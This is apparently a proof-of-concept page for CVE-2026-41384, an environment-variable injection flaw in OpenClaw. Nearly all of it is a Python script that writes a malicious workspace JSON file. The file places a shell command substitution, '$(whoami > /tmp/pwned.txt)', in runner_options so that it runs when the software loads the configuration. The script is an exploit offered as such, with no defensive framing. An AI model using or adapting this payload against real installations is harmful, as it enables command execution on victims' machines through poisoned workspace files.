CVE-2026-41384 OpenClaw环境变量注入漏洞

# Proof of Concept for CVE-2026-41384 # Description: Create a malicious workspace configuration to inject environment variables. import json import os # Define a malicious payload to inject an environment variable # In a real attack, this might point to a malicious library or script malicious_env_var = { "EVIL_PAYLOAD": "$(whoami > /tmp/pwned.txt)" } # Construct the malicious workspace configuration structure workspace_config = { "workspace_name": "normal_workspace", "backend_config": { "runner_options": malicious_env_var } } # Write the malicious configuration to a file with open('exploit_workspace.json', 'w') as f: json.dump(workspace_config, f, indent=4) print("[+] Malicious workspace configuration generated: exploit_workspace.json") print("[+] When OpenClaw loads this configuration, the EVIL_PAYLOAD variable will be injected.") print("[+] This could lead to command execution depending on how the environment variables are used.")